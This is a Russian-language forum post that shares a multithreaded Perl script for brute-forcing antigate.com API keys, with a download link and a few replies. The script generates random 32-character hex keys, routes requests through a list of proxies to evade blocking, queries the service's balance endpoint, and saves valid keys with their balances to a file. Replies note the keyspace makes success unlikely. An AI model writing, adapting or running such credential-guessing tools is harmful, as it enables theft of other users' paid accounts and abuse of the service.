Antigate.com keys bruteforce

Скрипт сам генерирует ключ и чекает его на существование.
Работает только через прокси.
Весьма шустро.
Если гуд ,то проиходит чек на балланс.

На перле написан.

PHP:

#!/usr/bin/perl
#(c)dpe

use strict;
use warnings;
use threads;
use threads::shared;
use LWP::UserAgent;
use Fcntl ':flock';

#####################################################Config############################################

#файл с гудами
my $good = 'good.txt';

#файл с бэдами            
my $bad = 'bad.txt'; 

#Файл с прокси             
my $proxy_file = 'proxy.txt' ;

#Вести логи бэдов ? 1 - да
my $badlog = 0 ;

#Кол-во попыток
my $count : shared = 100 ;

#Кол-во потоков
my $threads = 2 ;

###################################################END CONFIG###########################################


my @proxys : shared = load($proxy_file);
my @trl = ();
my $str;

my %statictis : shared = ('good' => 0, 'bad' => 0, 'bad proxy' => 0 );
system('title Antigate.com keys brute by dpe.');
$| = 1;

$trl[$_] = threads->create(\&gobrute) for 0..$threads - 1;
$_->join for @trl;

sub gobrute {
my ($ua, $ck) = &browser;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
while ( $count>= 1 ) {
     until(proxy($ua)){}
         my @chars = ( "a" .. "f" , 0 .. 9 );
         my $key = join( "" , @chars[ map { rand @chars } ( 1 .. 32 )]);
         my $page = $ua->get('http://antigate.com/res.php?key='.$key.'&action=getbalance')->content ;
         if ($page =~ /ERROR/) {
             { lock %statictis; $statictis{'bad'}++; }
             thread_print ("$key - bad");
                if ( $badlog == 1 ) {
                    wf($bad, "$key\n");
                        }
                }  else {
                        { lock %statictis; $statictis{'good'}++; }
                        thread_print ("$key - good");
                        my $bal = $1 if $page =~ /(\d*.*)/;
                        wf($good, "$key:$bal\n");
                        }
         $count--;
     }
}

sub browser
{
my $ua = LWP::UserAgent->new;
$ua->cookie_jar({});
$ua->timeout( 20 ) ;
$ua->agent("Mozilla/5.0");
return $ua;
}

sub load
{
 open(F, "<", $_[0]) || die $_[0].' - '.$!.$/;
 chomp(my @list = <F>);
 close F;
 return @list;
}

sub proxy
{
    my $ua = shift;
    my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://www.antigate.com/');
    if($test ->is_success)
    {
         return 1;
    }
    else
    {
        { lock %statictis; $statictis{'bad proxy'}++; }
         return 0;
    }

}

sub thread_print {
my ($str) = "@_ [thread ".threads->tid()."]";
$str .= " " x (78 - length $str) if length $str < 79;
print $str."\n";
$str = '';
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}

sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}

скачать архивом
http://rghost.ru/3629892

 

Там у каждого ключа есть 32 символа, а всего есть 16 вариантов символов. Это же бред! Как можно сбрутить ключ при таких условиях?

 

выкладывали генератор и брут для антигейта. высчитали что 10000многомного вариантов ключей получится. и толку от этого нет нихера

 

Это не какой-то волшебный скрипт.. И через две минуты ключа не будет.Тут на удачу надо полагаться.

И хорошенько чеккайте свои прокси , во избежание ложных гудов.